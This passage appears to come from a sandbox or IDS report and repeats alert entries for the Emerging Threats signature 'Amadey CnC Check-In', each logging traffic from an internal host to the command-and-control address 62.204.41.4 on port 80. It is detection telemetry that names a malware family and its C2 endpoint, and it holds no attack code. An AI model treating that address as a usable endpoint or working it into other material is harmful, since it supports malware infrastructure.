SID:	2027700
Source Port:	50188
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450023802027700 02/06/23-14:18:18.602365
SID:	2027700
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450064802027700 02/06/23-14:18:28.682743
SID:	2027700
Source Port:	50064
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450147802027700 02/06/23-14:18:52.469914
SID:	2027700
Source Port:	50147
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450151802027700 02/06/23-14:18:53.414300
SID:	2027700
Source Port:	50151
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449979802027700 02/06/23-14:18:06.054835
SID:	2027700
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449921802027700 02/06/23-14:17:49.926933
SID:	2027700
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450068802027700 02/06/23-14:18:29.946527
SID:	2027700
Source Port:	50068
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450246802027700 02/06/23-14:19:18.198358
SID:	2027700
Source Port:	50246
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449743802027700 02/06/23-14:16:53.921247
SID:	2027700
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449771802027700 02/06/23-14:17:04.019414
SID:	2027700
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449899802027700 02/06/23-14:17:44.645815
SID:	2027700
Source Port:	49899
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450010802027700 02/06/23-14:18:15.475260
SID:	2027700
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450123802027700 02/06/23-14:18:44.976744
SID:	2027700
Source Port:	50123
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449838802027700 02/06/23-14:17:27.131716
SID:	2027700
Source Port:	49838
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450184802027700 02/06/23-14:19:01.259062
SID:	2027700
Source Port:	50184
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450105802027700 02/06/23-14:18:40.574553
SID:	2027700
Source Port:	50105
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449700802027700 02/06/23-14:16:31.043767
SID:	2027700
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449856802027700 02/06/23-14:17:31.586279
SID:	2027700
Source Port:	49856
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449833802027700 02/06/23-14:17:25.956224
SID:	2027700
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449874802027700 02/06/23-14:17:38.440488
SID:	2027700
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449894802027700 02/06/23-14:17:43.316977
SID:	2027700
Source Port:	49894
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449911802027700 02/06/23-14:17:47.534707
SID:	2027700
Source Port:	49911
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450274802027700 02/06/23-14:19:24.966329
SID:	2027700
Source Port:	50274
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450256802027700 02/06/23-14:19:20.620519
SID:	2027700
Source Port:	50256
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450078802027700 02/06/23-14:18:33.994128
SID:	2027700
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449715802027700 02/06/23-14:16:35.302872
SID:	2027700
Source Port:	49715
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449733802027700 02/06/23-14:16:51.368597
SID:	2027700
Source Port:	49733
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450096802027700 02/06/23-14:18:38.394554
SID:	2027700
Source Port:	50096
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450156802027700 02/06/23-14:18:54.587906
SID:	2027700
Source Port:	50156
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450228802027700 02/06/23-14:19:13.781550
SID:	2027700
Source Port:	50228
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449805802027700 02/06/23-14:17:18.884453
SID:	2027700
Source Port:	49805
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449781802027700 02/06/23-14:17:06.429230
SID:	2027700
Source Port:	49781
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449710802027700 02/06/23-14:16:33.533909
SID:	2027700
Source Port:	49710
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450115802027700 02/06/23-14:18:43.044125
SID:	2027700
Source Port:	50115
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450133802027700 02/06/23-14:18:47.416110
SID:	2027700
Source Port:	50133
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450174802027700 02/06/23-14:18:58.884943
SID:	2027700
Source Port:	50174
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449828802027700 02/06/23-14:17:24.646925
SID:	2027700
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450027802027700 02/06/23-14:18:19.567097
SID:	2027700
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449751802027700 02/06/23-14:16:59.053794
SID:	2027700
Source Port:	49751
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449846802027700 02/06/23-14:17:29.052087
SID:	2027700
Source Port:	49846
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450205802027700 02/06/23-14:19:06.323850
SID:	2027700
Source Port:	50205
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449705802027700 02/06/23-14:16:32.323528
SID:	2027700
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449962802027700 02/06/23-14:18:02.000570
SID:	2027700
Source Port:	49962
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449990802027700 02/06/23-14:18:08.739973
SID:	2027700
Source Port:	49990
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450113802027700 02/06/23-14:18:42.545396
SID:	2027700
Source Port:	50113
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449702802027700 02/06/23-14:16:31.544827
SID:	2027700
Source Port:	49702
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449730802027700 02/06/23-14:16:44.596890
SID:	2027700
Source Port:	49730
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449876802027700 02/06/23-14:17:38.908848
SID:	2027700
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450143802027700 02/06/23-14:18:51.490212
SID:	2027700
Source Port:	50143
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449818802027700 02/06/23-14:17:22.140346
SID:	2027700
Source Port:	49818
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450146802027700 02/06/23-14:18:52.228128
SID:	2027700
Source Port:	50146
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449693802027700 02/06/23-14:16:29.330240
SID:	2027700
Source Port:	49693
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449698802027700 02/06/23-14:16:30.576133
SID:	2027700
Source Port:	49698
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449989802027700 02/06/23-14:18:08.504518
SID:	2027700
Source Port:	49989
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449871802027700 02/06/23-14:17:37.725069
SID:	2027700
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449897802027700 02/06/23-14:17:44.164540
SID:	2027700
Source Port:	49897
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449815802027700 02/06/23-14:17:21.391573
SID:	2027700
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450100802027700 02/06/23-14:18:39.335819
SID:	2027700
Source Port:	50100
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449807802027700 02/06/23-14:17:19.395600
SID:	2027700
Source Port:	49807
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450098802027700 02/06/23-14:18:38.869062
SID:	2027700
Source Port:	50098
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449848802027700 02/06/23-14:17:29.531648
SID:	2027700
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450141802027700 02/06/23-14:18:50.069928
SID:	2027700
Source Port:	50141
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449784802027700 02/06/23-14:17:07.177698
SID:	2027700
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450182802027700 02/06/23-14:19:00.788880
SID:	2027700
Source Port:	50182
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450218802027700 02/06/23-14:19:11.381609
SID:	2027700
Source Port:	50218
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450259802027700 02/06/23-14:19:21.359170
SID:	2027700
Source Port:	50259
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450000802027700 02/06/23-14:18:11.377143
SID:	2027700
Source Port:	50000
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449889802027700 02/06/23-14:17:42.087363
SID:	2027700
Source Port:	49889
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449713802027700 02/06/23-14:16:34.634243
SID:	2027700
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450041802027700 02/06/23-14:18:22.955497
SID:	2027700
Source Port:	50041
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450118802027700 02/06/23-14:18:43.766872
SID:	2027700
Source Port:	50118
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450171802027700 02/06/23-14:18:58.166616
SID:	2027700
Source Port:	50171
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449843802027700 02/06/23-14:17:28.350642
SID:	2027700
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449884802027700 02/06/23-14:17:40.878750
SID:	2027700
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450248802027700 02/06/23-14:19:18.703803
SID:	2027700
Source Port:	50248
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449881802027700 02/06/23-14:17:40.148507
SID:	2027700
Source Port:	49881
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450154802027700 02/06/23-14:18:54.119780
SID:	2027700
Source Port:	50154
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450243802027700 02/06/23-14:19:17.486100
SID:	2027700
Source Port:	50243
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449970802027700 02/06/23-14:18:03.894708
SID:	2027700
Source Port:	49970
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449774802027700 02/06/23-14:17:04.719767
SID:	2027700
Source Port:	49774
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450047802027700 02/06/23-14:18:24.370968
SID:	2027700
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449835802027700 02/06/23-14:17:26.426113
SID:	2027700
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449924802027700 02/06/23-14:17:50.645406
SID:	2027700
Source Port:	49924
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450065802027700 02/06/23-14:18:28.913263
SID:	2027700
Source Port:	50065
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450019802027700 02/06/23-14:18:17.663562
SID:	2027700
Source Port:	50019
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450215802027700 02/06/23-14:19:10.669293
SID:	2027700
Source Port:	50215
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449746802027700 02/06/23-14:16:57.847861
SID:	2027700
Source Port:	49746
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449942802027700 02/06/23-14:17:57.083818
SID:	2027700
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450108802027700 02/06/23-14:18:41.274401
SID:	2027700
Source Port:	50108
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450187802027700 02/06/23-14:19:01.971976
SID:	2027700
Source Port:	50187
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449853802027700 02/06/23-14:17:30.867273
SID:	2027700
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449764802027700 02/06/23-14:17:02.319285
SID:	2027700
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450031802027700 02/06/23-14:18:20.511059
SID:	2027700
Source Port:	50031
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450120802027700 02/06/23-14:18:44.246465
SID:	2027700
Source Port:	50120
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450126802027700 02/06/23-14:18:45.717300
SID:	2027700
Source Port:	50126
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449952802027700 02/06/23-14:17:59.609624
SID:	2027700
Source Port:	49952
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450037802027700 02/06/23-14:18:21.991529
SID:	2027700
Source Port:	50037
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449958802027700 02/06/23-14:18:01.022168
SID:	2027700
Source Port:	49958
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450003802027700 02/06/23-14:18:13.453554
SID:	2027700
Source Port:	50003
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449863802027700 02/06/23-14:17:35.672249
SID:	2027700
Source Port:	49863
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450192802027700 02/06/23-14:19:03.186396
SID:	2027700
Source Port:	50192
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449792802027700 02/06/23-14:17:12.357233
SID:	2027700
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449869802027700 02/06/23-14:17:37.244652
SID:	2027700
Source Port:	49869
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.449999802027700 02/06/23-14:18:11.060496
SID:	2027700
Source Port:	49999
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.5 - Destination IP: 62.204.41.4

Timestamp:	192.168.2.562.204.41.450088802027700 02/06/23-14:18:36.403853
SID:	2027700
Source Port:	50088
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

